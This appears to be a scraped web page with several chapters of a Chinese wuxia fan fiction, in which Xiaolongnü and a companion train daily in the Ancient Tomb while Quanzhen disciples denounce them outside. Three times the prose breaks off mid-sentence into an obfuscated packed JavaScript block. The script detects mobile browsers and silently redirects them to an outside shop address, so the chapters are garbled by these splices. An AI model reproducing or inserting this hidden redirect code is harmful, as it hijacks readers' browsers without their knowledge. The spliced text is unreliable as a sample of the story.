几名弟子念得很认真,念完罪状,又开始诵经。山风吹过,纸页哗哗响,远处松涛起伏,像有人低声应和。几个年纪轻的弟子越念越觉悲愤,心中只盼墓门之内那两个杀人的妖女听见这些话,也能因此心神不宁、坐立难安。 可古墓之内,什么也没有发生,石墙厚重,甬道深长。墓外的声音传进来时,早已经被层层石壁吞得干干净净。就算偶尔有一丝极轻的震动,也像水滴落进深潭,转眼便没了痕迹。 小童子和小龙女根本不知道,墓外正有人出声讨伐她们。 她们醒得很早,古墓里不分昼夜,只有多年养成的时辰。小龙女先睁眼,寒冰床上仍旧冷得刺骨,而她体内的内息也仍在自行流转。多年睡在寒冰床上,她们早已习惯睡梦中也不断运功,寒意不能侵入经脉,反倒像一块时时磨着内力的冷玉。 小童子睡在旁边,一只手还搭在小龙女手掌上。这几年两人已习惯睡时也牵着,不是怕冷,也不是怕黑,而是内力可以在相触处极细微地流动,久而久之,连睡梦里都像在切磋练功。 小龙女轻轻动了一下手指,小童子立刻醒了。 “练剑?” “先煮粥。” 小童子醒神片刻,点头:“对,先吃早饭再练功” 她说这话时很郑重,仿佛终于明白世上除了剑法、掌法、内功,还有一种东西叫米饭。 两人去了厨房,黄蓉教过之后,做饭便比从前多了几分秩序。小龙女在水盆里一片片洗青菜,小童子舀米淘洗,淘了三遍,又认真看水里有没有沙。 小童子蹲在水盆旁,低头看得很仔细:“没有沙。” 小龙女道:“青菜里的沙子也洗干净了。” 两人把洗净的青菜沥了水,又切了一点腌肉,同米一起放进锅里炖煮。 锅里煮上以后,两人便开始晨课。基本剑法,轻功,吐纳,玉女心经,一招一式,照旧规整。 墓外全真弟子诵经诵到嗓子微哑时,墓内两道白影正在石室里交错而过。 剑尖相触,发出极轻一声,小童子借力向后滑开,脚尖还未落地,小龙女的剑已经追到她肩侧。 小童子肩膀微微一动,一股内力在肩骨下方滚了一下,没有出去,只是撞得她自己肩头发麻。 她落地,皱眉:“还是不成。” 小龙女收剑,看向她的肩:“不是推。” “我知道不是推,推只是撞人,剑是刺人。”小童子说着,抬手在空中比了一下,“掌心剑能成,是因为内力先在掌心凝成锋。可肩上没有手,脚底也没有手,内力到了那里,就散了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813304|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >小龙女垂眼思索,她想起陆家庄上郭靖那一掌。 降龙十八掌是至刚至纯的掌力,内力从丹田而起,经脉贯通,最后从手掌轰然而出。郭靖的力,是全身催动,最后从手掌出去。 她们要的不是这个,若每一次内力剑都要催动全身,再通过某一处破体而出,那太慢,也太重。敌人只要看见气息一动,便能提前防备。 她们想要的是更细、更快、更隐秘的东西,不是一条大河,是无数细线。 小龙女道:“不是把内力推到肩上,是在肩上生出剑。” 小童子点头:“对,不是从丹田把内力一路送过去,而是让内力散在全身经脉里,随取随用。掌心能结剑,肩能结剑,脚也能结剑。练到极处,全身任意一处,都能倏然出剑。内力不是一整股,是许多许多细小的支流。” 她伸出手,在空气里抓了一下:“就像河水,随时都能从任意一处舀起一瓢。” 小龙女沉思,小童子也盘腿坐下,闭目内观,石室里安静下来。 外头的诵经声仍在继续,可隔着重重石壁,连一点影子都没有。古墓深处只有两人的呼吸声,还有粥在厨房里慢慢翻滚的轻响。 “先吃早饭吧。”小龙女轻声道。 小童子睁开眼,应了一声。两人一同起身,牵着手往厨房走去。 粥煮得有些过火,有些糊味飘出。小童子闻到焦味,飞快掀开锅盖看了一眼:“糊了一点。” 小龙女跟过来,也看了一眼:“能吃。” 于是两人把这锅糊粥分着吃,锅底有些黏糊,余下的大半却还不错。米香混着菜香、肉香,入口温热;更难得的是,没有一粒沙子硌牙,两人吃得很满足。 小童子吃完,摸摸自己的肚子:“下次练功前要少放点火,免得煮糊了。” 小龙女点头:“或多放点水。” 外头全真弟子念完经,嗓子疼得厉害,换了一队人继续。有人将新写好的檄文贴在离墓门不远的树上,纸张被山风吹得猎猎作响。 “古墓妖女,杀人偿命。” “全真郝大通道长之灵不灭。” “终有一日,血债血偿。” 那些字写得很用力,墨色浓重,透到纸背。 古墓深处,小童子和小龙女仍不知墓外风云。两人吃完糊粥,洗净锅碗,便又回到石室练功。 一日、两日、三日……古墓外每日都有人来。 有时是清晨,有时是黄昏,罪状越写越长,经文越念越熟。全真弟子站在墓外,望着黑洞洞的墓门,总觉得里面该有什么反应,哪怕是一句怒斥,一支冷箭,一阵怪蜂,都能证明古墓里的人听见了。 可什么都没有,墓门安静得像死物,他们越念,越觉得自己像对着一座山说话。 有个弟子望着墓门,低声道:“她们会不会听不见?”旁人脸色一沉,他便不敢再说。可这念头像细刺,扎进众人心里。谁也不愿承认,诵读或许只是说给自己听。 53.日课 古墓里没有日头,石壁之外是晴是雨、是春是冬,住在深处的人无从得知。 小童子和小龙女却能很好地分清日子,寒冰床上睡过一夜,厨房里煮过三回粥,便是一日。 寒冰床上,小龙女先睁开眼,她没有立刻起身。 睡了一夜,寒冰床的寒意从石面一点一点往上渗。她们睡在上头时,内息便会自然而然地运行,沿经脉一圈圈游走,把侵入周身的寒气化开、推散,再一点点逼出体外。 久而久之,寒冰床像一块永不歇息的“磨刀石”,只不过它磨的是内力。 小龙女垂眼看了看两人交握的手,小童子的手搭在她掌心里,五指并没有扣得很紧,自然贴到一处。 两人心法同源,内力的路数却并非一模一样。寒冰床逼着各自内息运转时,掌心相触处便会有极细的内力相迎而上,撞开,又再度撞上,像两股迎面而来的细流。起初碰在一处,谁也不肯让,后来却会彼此渗入些许,渐渐有了你中有我、我中有你的意思。 两人日夜牵手而眠,愈发觉第二日醒来,内息比各自独行时更易生出新力,于是便一直牵着。这不是刻意修炼出来的法门,却慢慢也成了修炼的一部分。 小龙女动了动指尖,小童子便立刻睁开眼,眸中先有一瞬机警,随即又软下来,知道并无危险。 她转头往小龙女脸旁凑了凑,轻轻贴了一下,整个人又迷糊了片刻,才慢慢清醒过来。 两人下了寒冰床,在石床前的蒲团上相对盘膝。古墓深处无风,油灯也没有点,四下黑得很。她们闭眼,不需看见彼此,只消听见对方呼吸开始绵长,便知道对面的人已经坐好。 两人沉下气,丹田中一缕内息缓缓升起,循任督二脉而行,先过背脊、肩颈,再分走两臂,直达十指;继而气机上引,绕过双耳,漫至百会,又自顶门回落,沿腰胯、腿膝、小腿一路下行,至足趾而返,终又归入丹田。 两人昨夜新生的内力还极细,像初春从冻土里探出的草芽。晨起吐纳,最忌猛催贪快,只能一点点化开新生之劲,引它随原本的内息周流一遍,再慢慢融入其中。 待新力归入旧息,两人便闭目内观。 所谓内观,并非真有光色可见,也不是经脉里流着什么颜色。只是练得久了,心神沉入体内,便像俯看一条大江大河,能觉出哪一处水势滞涩,哪一处水脉充盈,又有哪一缕新生细流,方才汇入原本的江河之中。 两人的吐纳本有快慢,也不必强求一致。可坐得久了,两道气息竟渐渐合上同一个节拍。石室里只余平稳的呼吸声,一起,一落。 两刻后,小童子先睁眼:“我今天增长的内力,似乎比昨天还多一点。” 小龙女道:“我的倒是和昨日一样。” 早课做完,两人携手前往厨房。小龙女去洗菜切肉,小童子去淘米,两人分工已经配合得十分娴熟。石室中的柴火慢慢燃起,锅盖边缘很快冒出淡淡白气。粥要熬一阵,正好够她们换衣练筋骨。 两人来到装满旧物的石室,孙婆婆生前做的玄铁衣挂在石室旁边的石架上。 石架旁放着两只旧木匣,匣中整整齐齐码着许多大小相若、分量相同的玄铁块,每一块都只有一掌大小,却沉得很。木匣盖子内侧被人用刀尖刻了细痕,一日一痕。每添满一月的刻痕,便从匣中取一块,装进玄铁衣的布囊里。 衣裳表面看着只是两件寻常的灰白短褂,摸上去才知里头夹层极厚。胸前、后背、腰侧、两臂与腿处都缝着一个个扁平布囊,囊口用细绳扎紧,能随时取放玄铁块;布囊的大小,恰好能装下木匣中的铁块。孙婆婆的针脚极密,边缘还用旧皮包过,免得铁块在奔走时磨破衣料。 两人各自拎起自己的布衣穿上,先把前襟与腰带系妥。随后她们从木匣中取出今日该用的玄铁块,互相替对方一块块装入胸前、后背、腰侧、两臂与腿处的布囊里,再将囊口细绳逐一扎紧。 古墓最深处有一眼地下寒泉。 寒泉旁的石壁终年湿润,水汽凝在顶上,隔一会儿便滴下来一滴。泉水从黑黢黢的石缝里涌出,汇成一方不大的寒潭,潭面静得像一块墨色的石。伸手一碰,寒气便顺着指节钻上来。 小童子与小龙女各自提着两只木桶走到潭边,将桶装满水,然后提着水桶往回走。 这一路不许用内力,也不许借助轻功。 两人要像没有内力的普通人一样,从寒潭提着满桶的水走回厨房。其间要过数段高低不一的石阶,穿过两道窄得只能侧身而行的甬道,还要拐过一处湿滑石角。桶中水满,脚步稍急便会晃出。 当年小童子刚开始练时,觉得这比练剑还要痛苦。 她本已习惯有内力在身,脚下一滑、肩上一沉,气机自然便要出来相助,如今却偏要将那一点本能死死压住,只凭凡人的筋骨走过凹凸不平的石阶。 剑招灵活,哪怕起手错了一点,也还能中途变招补救;水却不讲道理,一步错了,便很难圆回来。她抬脚太重,水便撞上桶沿;转身太急,水便泼到腕上;哪怕只是呼吸猛了一点,桶里的水也会荡出一圈细纹。水洒得越多,水缸便越难装满,她就要多走几趟。 如今她已懂得不与水争。 她提着桶,肩背微沉,手腕稳住,步子落得很轻。一阶一阶往上走时,脚掌先触石面,再将力道慢慢压实。玄铁衣沉在身上,每一步都像有人从地底下拉住她。小童子不许自己借半点内力,只凭腰胯与腿力把那份沉重带过去。 小龙女走在她前方半步,她的木桶也满着,水面却安静得很。 经过最窄那段甬道时,小龙女侧过身,肩膀几乎擦着石壁,桶底却始终没碰墙。她没有回头,只听见后头水声微微一荡,便道:“左脚轻一点。” 小童子立刻放轻左脚,水纹果然小了。 两人一路提到厨房里面,将水桶倒入大水缸中。 寒潭提水练的是腕力、肩背、腰胯与步子。练得久了,手腕不易被外力带偏,肩背能沉得住,腰胯也懂得领着步子走;再持剑时,剑尖便更稳;施展轻功,到了陡峭难行之处,也更容易借力、落脚与站稳。 提完水,便去倒悬石梁。 那根石梁横在一间高石室上方,粗得足够两人并排吊住。石梁下方没有软垫,只有平整冷硬的石地。两人把玄铁衣上的腰带重新勒紧,脚背勾住梁面,倒悬下来。 小童子的长发垂到半空:“一百下?” 小龙女也倒挂着,发丝垂在脸侧:“对,记得不能用内力。” 两人一同屈起上身,腹背用力,玄铁块便在衣中沉沉压下来。起初还算轻松,过了五十,腰腹便像被火一点点烧起来。石梁冰冷,脚踝绷得发疼,肩背也因倒悬而逐渐发麻。 小童子做到第六十七下时,呼吸重了一点。内力自主想要催生以护住腰腹,小童子立刻把它压下去。 小龙女在旁边做到第七十下,动作仍旧很稳。小童子看不见她的表情,但能听到她的呼吸加重。 一百下做完,两人都没有立刻跳下,而是悬停三息。 小童子的身上已经全是细汗,汗珠倒挂着沿额角往发间流。三息一过,两人才一同松脚落地,落地时,腿都有一点软。 最后一项,是石阶负重。 这回不再只穿玄铁衣,两人还要另背一只装了玄铁块的布囊,从古墓最底层一路走到上层。石阶有的宽,有的窄,有一段还被地下水磨得格外滑。两人不能跑,不能跃,不能用内力提气,只能一步一步地走。 玄铁块有这样多,是因为当年王重阳曾收进一批玄铁,原是要铸成军中兵刃,再送去抗金军前。后来时局翻覆,铁料未能如愿送出,便有一部分留在古墓里。 后来林朝英生病,在古墓里翻旧物找药方,找到这批玄铁,才叫孙婆婆依着玄铁的大小,做成了这两件练功衣。衣上的口袋本就是为随时装卸玄铁块而设,正合小童子与小龙女循序练功:每练满一个月,便各添一块玄铁。 小童子和小龙女背上布囊,起初只是腿重。 走过半程,肩上的布囊像越来越沉,压得锁骨发疼。石阶尽头明明就在前面,却总像走不到。小童子额上的汗顺着脸颊往下滑,她没有擦,怕一抬手便乱了背上的重量。 小龙女走得比她略快一点,却始终没有走远。她步子仍稳,看着像比小童子从容些,可鬓边也早被汗水濡湿,衣领处隐隐透出潮意,显然并没有轻松多少。 经过一处拐角,小童子脚下踩到湿苔,鞋底忽然一滑,背上的玄铁也随之往旁边坠去。她身子一歪,丹田里的气机几乎本能地冲起来,想替她托住这一步。可气才一动,她便硬生生压住,只凭腰腿去找回重心。 小龙女已经在前头侧过身,伸手扶住她的手臂,只是扶住,没有替她提重。 小童子在她掌下一点点站稳,后背已出了一层冷汗:“谢谢,我差点就摔了,也差点用了内力。” 小龙女没有责怪,只看她站稳了,才道:“路上湿滑,再专注一些。” 两人终于走到最上层,才一停下,便不约而同地解下玄铁衣,擦去脸上的汗。 小童子长出一口气,笑道:“每日功课里,熬炼筋骨最磨人,也不知师父当初是怎么想出这般法子的。” 小龙女也微微弯起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818091|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 唇角:“是很累,但很有用。” 两人放好铁衣,回到厨房,掀开锅盖,白气扑到脸上,米香与肉香一齐涌出来。 小龙女取碗,小童子拿筷子。午饭的肉和青菜,都比早饭多添了些。 两人吃得很安静,额上还有未干的汗,手臂与腰腹都酸得厉害。小童子吃完一碗粥,又盛了一碗。小龙女看她吃得快,便把自己碗里几块腌肉夹过去。 小童子看见了,立刻夹回两块:“一起吃,不能总让我多吃。” 小龙女便没有再推,只垂眼看了看碗里的腌肉,唇角轻轻弯了一下,低头慢慢吃起来。 午后稍歇,便练剑。 古墓石室极多,有一间地面平整、顶也较高的石室,墙上留着林朝英旧年练剑时削出的无数细痕,小童子与小龙女常在这里练基础剑招。 先练刺,剑尖对准石壁上一点浅白印记,直出,直收,不许偏半分。 再练点,剑尖须在数处细痕之间连连落下,每一点都只沾一瞬便收,前后左右皆不可偏移分毫。 随后是劈、撩、挂、格、洗、截。劈要沉,撩要活,挂要顺势,格要稳,洗要平,截要准。每一招都练一百遍,不可少,不可因为已经会了便图快。 剑锋破开古墓沉冷的空气,发出细细的锐响。 小童子的剑起落更活,常在最后一寸多带半点变化,小龙女便在旁边道:“最后多了一点。” 小童子立马收剑,重来。 小龙女的剑很稳,剑尖却偶尔太静,静得像要把后招也一并藏住。小童子看出来,便道:“龙儿,这一剑把后势也吞了。” 小龙女垂眼细想,于是重来。 一百遍之后,再练收剑、转腕、换步。 收剑要快,却不可响。转腕要稳,手肘不能抬高。换步则要准和轻,脚下踩的是石砖之间的细缝,前进一步、斜退半步、转身再退一步,所有步子都要落在该落之处,也要轻到几乎听不见声。古墓地面坚硬,脚步稍重,声响便会传出去。她们练到后来,白衣掠动,剑光来回,石室里却只余衣袂轻擦之声。 等基础剑招练完,才开始对招。 对招从不只是各自出剑,谁先碰到谁便算赢。两人常替自己设下不同的限制,也替石室添出不同的场景;剑尖在石地上一划,线痕方成,石室便仿佛换了天地。 有时是狭道。 两条线只隔两步宽,中间再划出几处不能踩的窄缝。谁越线,谁便算撞上石壁;谁退到尽头,谁便算无路可退。小童子与小龙女只能在那一段小小的地方转身、拆剑,肩不能舒得太开,剑路也不能放得太长,进退之间多占半步,便等于把自己逼进死地。 有时是林间。 她们将数根细绳从石梁垂下,又在地上摆些旧木桶与石块。细绳便是横枝,木桶与石块便是树根、乱石。剑可以从缝里出去,人却不可乱撞。 起初两人都不惯这般束缚,只是出去走过一趟之后,她们才知道外头从没有处处平整的石室,更多是狭道、山坡、树影、乱石,处处都会逼人改剑改步。于是两人便把见过的地形搬回古墓,一点点琢磨成自己的练法。 这一回,小龙女要小童子把左手收在身后,只许右手单剑;小童子则反过来定下规矩,不许小龙女跃起。少了惯用手,小童子平日许多自然的借力都不能用了;不能跃起,小龙女原本最轻巧的退路也被封住。两人便在绳影间拆招,各自改步、改腕,也改出剑的方向。 小童子被小龙女逼到石桶前,右手剑被压住,左手本能便要抬起。她抬到一半,硬生生停住。 小龙女的剑尖已点在她胸口上:“你死了。” 小童子便顺着她的话,捂住心口做吐血状,身体缓缓往地上倒去:“龙儿杀了我……” 小龙女愣了一下,随即轻笑出声:“龙儿才不会杀你。” 练到后来,小童子收剑时,手臂已经酸得抬不高;小龙女的衣袖也被剑风削开一小道口子。两人站在石室中央,呼吸都比晨起时重。 两人收好剑,将今日用过的木桶、石凳与细绳一一归回原处。 她们仍牵着手往厨房走准备晚饭,脚步却比晨起时慢了许多,肩背也都沉了些。 这便是她们白日里的功课:吐纳、提水、倒悬、负重、练剑、拆招。 每过一夜,经脉里便会多一些内力。 每满一月,玄铁衣里便各多一块玄铁。 每一次剑尖相触,两人便看见一点从前没有看见的东西。 古墓外全真教的嘴上讨伐,她俩都听不见。只要没人踏入古墓,外面的纷争都与二人无关。 54.晚课 晚饭过后,古墓里静了下来。 厨房石灶中的明火已灭,灰烬里还藏着一点暗红。锅洗净后倒扣在石案上,水珠沿着锅沿慢慢淌下,滴在案边,发出极轻的一声。方才煮饭的热气还没有完全散尽,淡淡的米香、菜香与腌肉咸香混在一起,贴着石壁缓缓浮动。古墓深处终年阴寒,这一点饭后的暖意便显得格外清楚,像是黑暗中的一点星火。 小童子坐在椅子上,后背压着椅背往后仰,脚尖一下一下点着地。椅子前脚离了地,连人带椅半悬在空中。 她刚吃饱,眼神已经一扫日课留下的疲惫,整个人在吃饱喝足后显得有些慵懒。白日里提水、倒悬、负重、练剑,样样都耗力;若换作旁人,吃过晚饭多半只想睡。小童子却不同,越是练得累,越觉身体里那些被磨出来的新力在经脉间活泼地流动,像有许多细小的水流在身体里快乐奔跑。 小龙女隔着木桌坐在小童子对面,捧着碗,小口喝着温水。她一边喝水,一边看小童子靠着椅背出神。这人连发呆也不肯安分,非得让椅子轻轻晃动,仿佛白日里积下的疲惫,能被她这样一下一下地晃跑。 自从两人买米回来,已经过去许多时日。她俩每日的作息,从小龙女睁眼开始,便没有多少不同。可两人都不觉得枯燥,每日经脉里都有新生的内力,每日对招时都有昨日未曾看见的变化,连这样饭后片刻的安静,也是日常小小的趣味。小龙女看着小童子一脸放松地发呆,看她连人带椅轻轻摇晃,心里便会生出愉快。 等小龙女喝完水,她便伸手去牵小童子。 两人手掌相触的一瞬,掌心里那一点熟悉的内息便自然迎上来。不是刻意运功,也不是互相比拼,只像两条已经认得彼此的小溪,在石缝里温柔交汇。 小童子被她一牵,便从方才的出神里回到当下,知道这是要去做晚课了,心里更是欢喜,扣住小龙女的五指,从厨房一路蹦向练功房。 她蹦得很轻,此时模样带着几分孩童时期的活泼。小龙女被她牵着,步子也比平时轻快,白衣从暗处掠过,像一片不沾尘的月色。 练功房在左边甬道尽头,石门半开,里头没有灯,也没有窗。两人早已习惯黑暗,走进去时不必点灯,便能知道墙在何处,地面哪一块石砖边缘稍高,哪一处被鞋子磨得更平。 这个石室没有什么特殊的家具,只有空旷的一间大房子。四周皆是青灰色石墙,墙上有些旧剑痕,有的细如发丝,有的深及半寸。石顶很高,声音在里头传得远。 小龙女和小童子每晚吃过晚饭,便来这里琢磨她俩的内力剑。 小童子一进石室,便松开了牵着小龙女的手。手一分开,两人方才一路轻松的神色也随之消失。 小童子往空旷中央走去,小龙女则走向石墙边。她俩没有说开始,手一松开,彼此都知道,接下来便进入了晚课时间。 她们早已能从掌心出剑,内力在掌中凝成细锋,从掌心破体而出,虽不见真形,却能洞穿石壁、截断木桩,比寻常剑气更细,更快,更难让人觉察。可掌心剑终究只是一个起点,若每一次都要抬手出掌,敌人便能从肩、肘、腕的细微动作里看出端倪,和寻常暗器无不同。她们想要的是另一种东西:不需抬手,不需招式展开,身上任意一处,皆可在最短的一瞬生出锋芒。 小童子在石室中央一下一下跳起,起初还低,后来越跳越高。她不只盯着足心,也不再想着如何把内力压到涌泉穴。她以前琢磨过,知道足底一受力,内力便会本能地散去承身;如今她要找的,是身体腾空到落地之前,那一点尚未承重、尚未自护的空隙。 身子离地时,静脉内力有一瞬间随之微微上浮;将落未落时,足下经脉却已先一步等着承受身体的重量。就在这两者交接之间,内力有一瞬既不完全在经脉中融为一体,也不完全沉入足底。小童子闭着眼,一遍遍跃起、落下,想从那一瞬间捉出一束锋芒。 她轻轻跃起,又轻轻落下。足尖触地的一瞬,丹田中的内力像一滴水落入更大的水面,朝足底荡开。小童子没有压住它,任它自然流过涌泉穴,又从脚背、脚踝、小腿内侧一点点回返。 第二次,她在落地时稍稍催动了一点内力。 内力立刻比她所想的更快地下沉,像水从高处倾泻而下,来不及收束,便已经漫过足底,朝四面八方散开。地面轻轻一震,灰尘从石砖缝里跳起。 小童子皱眉,又散了,这不是她想要的。 她又跳了一次,这次她不从丹田猛催,而是先将内力散在腿部经脉里,等脚尖将落未落时,只催足心附近那一点。可足底经脉与掌心不同,掌心能合、能握,像有五指替内力收拢;足心却宽而平,脚一落地,身体重量先压下来,内力便顺着那份重量往地里钻。 小童子脚下又是一震,这一震比方才小些,却仍不是收束而成的利剑。它像一掌拍在地上,能惊动地面,能震人下盘,却没有锋。 小童子没有气馁,反而突然想起武林大会上,自己以周身内力去切郭靖那一式“亢龙有悔”的情景。 那时掌力迎面而来,如江河倒卷,她周身内力在体内自行分化,化作许多极细、极快的锋芒,沿经脉游走,去切那股压到身前的掌力。那些剑当时都藏在体内,替她把外来的巨力一寸寸剖开。 她先要弄明白的,是这些藏在体内的细剑究竟从何处生出。若每一次都要从丹田远远运来一剑,便还是旧法;她想要的,是从肩、背、膝、足,从身体任意一处经脉,就地生出锋芒。 小童子忽然抬手,缓缓推出一式小小的“亢龙有悔”。这一掌不求威力,只求掌力成形,像在石室中央铺开一片薄而缓的浪。 掌力方出,她脚下一点,整个人已掠入那片掌力之中。她不是要破招,而是再次以身入局,逼自己去感受体内内力如何分化、如何成锋,如何切开自己打出的掌力。 周身内力被这一逼,自然而然动了起来,在经脉深处化作无数细小锋芒。那些锋芒像早已认得来势一般,一齐迎上前方掌力,将她自己打出的那式“亢龙有悔”一点点切散。 小童子站定不动,闭眼内观,细细追索方才那一瞬的内力轨迹。 那些锋芒并不是全从丹田涌来,而是从周身原本流动着内力的经脉里分化出来。丹田如泉眼,经脉如泉眼滋养出的江河;外力一逼,便如巨石砸入水中,激得江河生出无数水箭。方才那些细小锋芒,便是这样被逼出来的。 那正是她想要的东西,差的只是如何在没有外力相逼时,也能不惊动全身,只从某一处调出一束锋芒。 小童子循着方才被“亢龙有悔”激出的感觉,在体内模拟那一束锋芒的运行轨迹,试着调动足下内力,令它从足心射出。 结果只是脚底一痛,这点痛自然算不得什么,小童子连眼神都没有变一下,可失败终究叫人不太舒服。她抿了抿唇,只好再次抬手,推出一式小而缓的“亢龙有悔”,再一次以身试法,去琢磨其中每一处细节。 小龙女站在石墙前,整个人像古墓深处寒潭。她的呼吸极轻,肩背自然下沉,长发垂在身后,连衣袖都不怎么动。若不是她身前石墙上已经多了几处新鲜孔痕,几乎让人以为她只是站在那里出神。 小龙女并未一上来便试肩上出剑,她先从最熟悉的地方重新开始。 丹田一动,内力便沿着任脉升起,再转肩臂,入肘,过腕,最后汇入掌心。她没有急着出手,而是在掌中把那股内力一层层向内压。寻常掌力讲的是深厚,是如潮水一般推出去;内力剑讲的却是细,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824572|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 聚,是将原本一捧水压成一根针。 小龙女垂在身侧的手微微一抬,五指张开,下一瞬,一线无形劲力自掌心冲出。 石墙发出一声极细的轻响,像有人用针尖刺入墙土。前方石壁上多出一个细孔,孔口圆整,周围没有裂纹,深处却黑不见底。小龙女走近半步,伸指摸了摸孔洞,内力洞穿得很深,远不止一指长。 接着她翻转手掌,尝试从手背做同样的试验。 内力从丹田而起,仍旧一路催动到腕,却在将要转到手背破体而出时忽然滞住。掌心与手背相隔不过一掌之厚,内力的路却像忽然从熟悉的石道拐入死巷。她没有硬冲,只将那一点内力轻轻推出,手背一麻,没有成功。 小龙女垂眼,记下这一处滞涩;她知道手背并非不能发力,只是这条路不顺。掌心多年来握剑、出掌,早已被练成了出力之门;手背却多是格挡、转腕时借势,内力走到那里,习惯先护,不习惯破。 她又在手腕的位置试验,失败;手腕再往后一点,仍旧失败。 她没有皱眉,也没有停下,每一次失败,她都细细观察内力在体内不同的流动方式,然后记下。腕骨处转折太多,气机容易被骨节牵偏;小臂外侧经脉虽长,却难凝细,内力到那里便像细流经过宽渠,锋意自然散去;肘后可以借劲,却不宜直刺,一催便先牵动整条手臂。 位置一点点往后移,小臂、肘侧、上臂、肩前、肩后。 小龙女试到这里,便停了下来。 她闭上眼,没有再逼着自己沿经脉一处处寻路,反而任思绪松开。许多画面在脑海里一闪而过:小童子坐在椅上轻轻摇晃的身影,自己挥剑格挡时掠起的光影,孙婆婆在厨房里唤她们吃饭的声音,师父朝她点头,说她武功又有新进步时的面容。 这些画面都很轻,很快便散了,最后留下来的,是武林大会上那一瞬。 金轮飞过,带起衣袂翻卷;郭靖那一掌浑厚沉重,掌力打入童儿体内,残留的凉意却曾被她顺势带出。那时她用玉女心经牵住童儿体内那一缕异力,又借金轮旋转之意,顺着来势一带,便将那股掌力从童儿体内引到自己剑意上,再送还给郭靖。 小龙女慢慢睁开眼,或许关键不在硬冲。 那一缕内力从童儿体内出来,并没有伤到童儿。它不是撞破皮肉,也不是撕开经脉,而是被同源内力接住,被圆转之意带走,像一股水从一条河转入另一条相连的河道。她与童儿内力同源,内息相近,又有金轮圆意顺势引导,才让那一缕力有路可走。 破体而出,也许未必要破,若能先替锋芒找出一条路,让它顺势越过皮肉,而不是硬生生撞出去,便不会先伤自身。 一个时辰过去,到了交换时间。 小童子和小龙女停下尝试,走向对方,两人掌心相贴,方才各自在体内走过的内力,便沿着相触之处一点点传过去。 双方通过内力演示自己的领悟,两股内力在掌心相遇,像是各自引着对方走过方才那一段段内力轨迹,这反倒比言语描绘更清楚。 小童子琢磨的,是不从丹田远远运来一剑,而在当前经脉里生出一束锋;小龙女钻研的,是替这一束锋找到一条顺势越过皮肉的路。一个取锋,一个开门,少了哪一个,内力剑都只是空想。 两人掌心分开后,没有继续原先的练习。 小童子走到石墙边,站在小龙女方才站过的位置,抬手按了按自己肩侧;小龙女则走到石室中央,低头看了看小童子方才落足的地方。 这是她们这几年练武时慢慢养成的习惯,一个人琢磨一段时间,便换另一个人去琢磨。许多细节,一个人看不全,两个人能看见更多。 于是小童子开始琢磨肩上剑,小龙女开始推演足下剑。 55.成功 古墓里的日子仍旧一日一日过去。 外头全真弟子换了一拨又一拨,有人嗓子念冒烟了,有人站得腿僵硬了,可古墓依然不给他们一点反应。在古墓深处,只有寒潭的滴水声、对练的剑声,以及厨房里锅盖被热气顶起又落下的轻响。 小童子和小龙女日日训练,夜夜钻研。她们的身体在这样一日一日的磨砺里发生变化。 小童子的肩背比从前更挺,手腕更稳,落脚时也更轻。她从甬道湿滑处走过,脚掌一贴石面,便知道这一寸地能承多少力,能借多少势。小龙女的内息则越发绵密,剑锋出手时没有多余声响,衣袖掠过半空,像一片薄雪擦过冷石。她们原本武功已高,如今却仍能清楚感觉到自己在往上走。 两人剑痕越来越细,步声越来越轻,内力越来越厚。 与此同时,米缸里的米也肉眼可见地下降,最先消失的是青菜,青菜不耐放,叶子一日比一日蔫。两人便先把它们洗净吃掉,最后一顿青菜粥里,叶子已经没有最初那样脆,只在热粥里浮出一点淡淡的绿。 再后来,腌肉也吃完了。腌肉原本不多,每次只切一小块,肉块被切成肉丁,肉丁放进粥里熬煮,便能让整锅粥多一点咸香。 最后是干菜,干菜泡开之后颜色发暗,味道也淡,却能叫白粥不那么单薄。两人已经慢慢学会提前泡发干菜,需要的时候洗干净就能扔进锅里。那一束束干菜从一大捆变成半捆,又从半捆变成薄薄一层。直到某日晚饭,小童子伸手去摸,只摸到一点碎屑。 她把碎屑抓进掌心,看了片刻难过地说:“龙儿,我们连干菜都没有了。” 小龙女也觉得难办,菜怎么就吃得那么快呢?明明两人也没有吃多,还是买得太少了。 小龙女伸手把小童子拢在怀里,脸贴了贴她。小童子顺势搂住小龙女的腰,把头埋进小龙女的颈窝,声音闷闷地传出:“现在只剩下大白米了,吃了嘴淡淡的。” 小龙女轻轻点头,表示认同,下巴在点头的时候压了压小童子的后脑勺。小童子被压得贴在小龙女的细颈上,呼吸的时候,小童子闻到淡淡的香味。这香味真好闻,小童子不知为何,心情好起来了,感觉没什么味道的米粥好像也不是那么淡了。 